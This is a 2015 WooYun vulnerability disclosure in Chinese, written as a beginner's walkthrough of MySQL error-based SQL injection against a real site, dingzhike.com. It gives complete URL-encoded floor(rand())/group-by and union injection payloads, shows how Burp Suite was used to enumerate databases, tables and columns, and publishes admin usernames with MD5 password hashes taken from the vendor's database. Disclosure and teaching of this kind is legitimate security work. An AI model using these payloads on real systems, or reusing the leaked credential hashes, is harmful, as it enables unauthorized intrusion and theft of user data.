当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-096617

漏洞标题:哇塞网mysql报错注入(附一只新手学习如何利用报错注入的过程)

相关厂商:北京哇噻网信息技术有限公司

漏洞作者: 大物期末不能挂

提交时间:2015-02-12 14:46

修复时间:2015-02-17 14:48

公开时间:2015-02-17 14:48

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-12: 细节已通知厂商并且等待厂商处理中
2015-02-17: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

1.还是一只很白的小白,有些东西还是多学一学。
2.学会了使用burpsuite的基本使用方法,下文会简单介绍。
3.励志把wooyun漏洞提交写成wooyun知识库。(其实主要原因还是因为有的东西实在太基础了根本放不进知识库里。)
4.匿名。

详细说明:

写得有点长,厂商想知道问题在哪请直接看下面的问题证明(其实也就是一个小问题,别被这么长的文字吓到)。详细说明里说的是我的思路以及自己学到的东西。
0x00 前言
下文用到的部分Mysql查询语句解释:
1.limit x,y 这个单词的意思就是说从x行开始输出,往后输出y行。
举个例子,limit 1,1 就是说显示第一行的数据,
limit 1,2 就是说从第一行开始显示两行的数据。也就是显示第一行和第二行的数据。

limit.jpg


2.float:float 类型存储为四字节的单精度浮点数。能够表示在3.4E–38 和 3.4E+38之间的数字。
3.rand()函数。能够随机生成一个0至1之间的小树。如果我们想要生成一个0到10000的随机整数,rand()*10000就可以实现了。
4.information_schema表:在我们默认安装的mysql中都会带有一个表,叫做information_schema表。这个表提供了访问数据库元数据的方式。元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。所以我们可以通过查询这个表来知道mysql里面数据库和表的信息。
0x01 注入点
www.wowsai.com是一家于2014-08-21加入wooyun的厂商,无意中看到了就去试了试。首先查询一下ip,发现122.112.3.2上有好几个网站。

www.dingzhike.com
www.shougongke.com
www.wowsai.com
www.yundongke.com


扫描后发现在www.dingzhike.com下存在注入点。由于厂家的mysql错误提醒没有关,所以我们可以通过报错注入来获取数据库内容。

http://www.dingzhike.com/home/space.php?do=author&pindao=1


翻找以前别人提交的漏洞 WooYun: 哇噻网存在SQL注入导致信息泄露 ,发现使用的是同一个数据库。(其实看数据库名也可以看出来。)

数据库名.png


在网上搜索之后更改了查询代码:

http://www.dingzhike.com/home/space.php?do=author&pindao=1%20and%20(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20distinct%20concat(0x7e,0x27,schema_name,0x27,0x7e)%20FROM%20information_schema.schemata%20LIMIT%202,2))%20from%20information_schema.tables%20limit%201,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)


通过更改limit后面的数值来查询所有存在的数据库名。
查到有:
information_schema
db_count_app
db_wowsaiv2_m
这里需要注意,可改成limit 0,1;limit 1,1;limit 2,1;但是不能改成limit 1,3;由于报错只能显示一行数据,故一次性无法显示三行。

多行报错.png


0x02 报错注入语句原理解释:
在网上找到的解释有:
http://segmentfault.com/q/1010000000609508

通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1(group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中则更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。
但是作者提出了一个疑问,因为是随机数,所以应该有一定概率可以查询成功。但是为什么每次都会失败呢?


随后又在知乎上找到了另一个回答。http://www.zhihu.com/question/21031129

RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.
You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times. (mysql官方文档中的话)


所以我的理解就是由于rand具有不确定性,所以为了防止这种情况出现,所以mysql在查询的时候直接禁止了group by floor(random(0)*2)这种查询模式,所以会直接报错。
0x03 用burpsuite爆表名
参考网址:http://www.moonsec.com/post-175.html
根据之前查找的资料发现需要转换一下编码才能查询数据库的表名。受这个网站的启发,我去找了一个burpsuite,然后尝试让burpsuite帮我跑出整个数据库的表名。
首先添加代理,添加代理的作用是让你的浏览器所有的数据从burpsuite走,这样burpsuite可以在中间对于传递的数据进行更改,删除等一系列操作。
以下几张图是添加代理的步骤:

添加代理.png


在burpsuite添加代理。

ie添加代理.png


让IE从代理服务器走。
这时候你再去访问网站就会发现burpsuite的proxy中的history中就已经记录了你之前访问的信息了。

history.png


Burpsuite有很多的功能,我也还没有弄透,在此就不多介绍了。
http://jingyan.baidu.com/article/200957619c8739cb0721b4ff.html
我参考这篇百度经验尝试批量发包来爆破表名

http://www.dingzhike.com/home/space.php?do=author&pindao=1%20and%20(select%201%20from(select%20count(*),concat((select%20(select%20(select%20distinct%20concat(0x7e,0x27,hex(cast(table_name%20as%20char)),0x27,0x7e)%20from%20information_schema.tables%20where%20table_schema=0x数据库名的十六进制%20limit%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x%20limit%200,1)a)


这里要注意这里的数据库名要用十六进制编码,但是十六进制编码要用0x表示。所以等号后面要写0x+数据库名的十六位编码。
上面百度经验中没提到的一点就是添加筛选项,这样可以让burpsuite帮你自动选出报错出现的表名。

添加筛选项1.png


表名.png


很轻松地爆出表名
通过burpsuite里面的转码就可以直接看到对应的表名是什么了。

转码.png


Decode表示的是转码前的格式,encode表示的是转码后的格式,由于我们原格式是ACSII hex,所以选择decode as为ASCII hex即可。
0x04 爆字段:
根据网上的代码

http://www.dingzhike.com/home/space.php?do=author&pindao=1%20and%20(select%201%20from(select%20count(*),concat((select%20(select%20(select%20distinct%20concat(0x7e,0x27,column_name,0x27,0x7e)%20from%20information_sechma.columns%20where%20table_schema=db_wowsaiv2_m%20and%20table_name=uc_admins%20limit%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)


出现了问题:

denied.png


我觉的是权限的问题,但是为什么字段这里就不可以访问了呢。这个问题我还是没有弄懂。欢迎各位大牛在此帮忙解答一下。谢谢。
后来通过别的方法绕过了。

http://www.dingzhike.com/home/space.php?do=author&pindao=1+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+column_name+from+information_schema.columns+where+table_name=0x75635F61646D696E73+limit+0,1))a+from+information_schema.tables+group+by+a)b


字段.png


0x05 剩下的就不多说了。
爆内容就直接select就可以了。
uc_member表中的admin和密码:
admin:955dc52f757566dc35ef0b0dd172c93f
home_member表中的admin和密码:
admin:cdb51cfb7692a98242be5b3c165c0e60
这里的md5值应该是带salt值。对于带有salt的md5值,应该怎么处理,我还没有什么太好的思路,欢迎各位大牛赐教。

如果以上有什么地方不对,欢迎各位打脸,我一定虚心改正!(反正我是匿名的,你们不知道我是谁╮( ̄▽ ̄)╭,不过我一定会改的!)

漏洞证明:

http://www.dingzhike.com/home/space.php?do=author&pindao=(select%201%20from%20(select%20count(*),concat(user(),floor(rand(0)*2))x%20from%20information_schema%20.tables%20group%20by%20x)a)


数据库名.png

修复方案:

1.关闭错误提示。
2.对参数进行过滤。

版权声明:转载请注明来源 大物期末不能挂@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-02-17 14:48

厂商回复:

最新状态:

暂无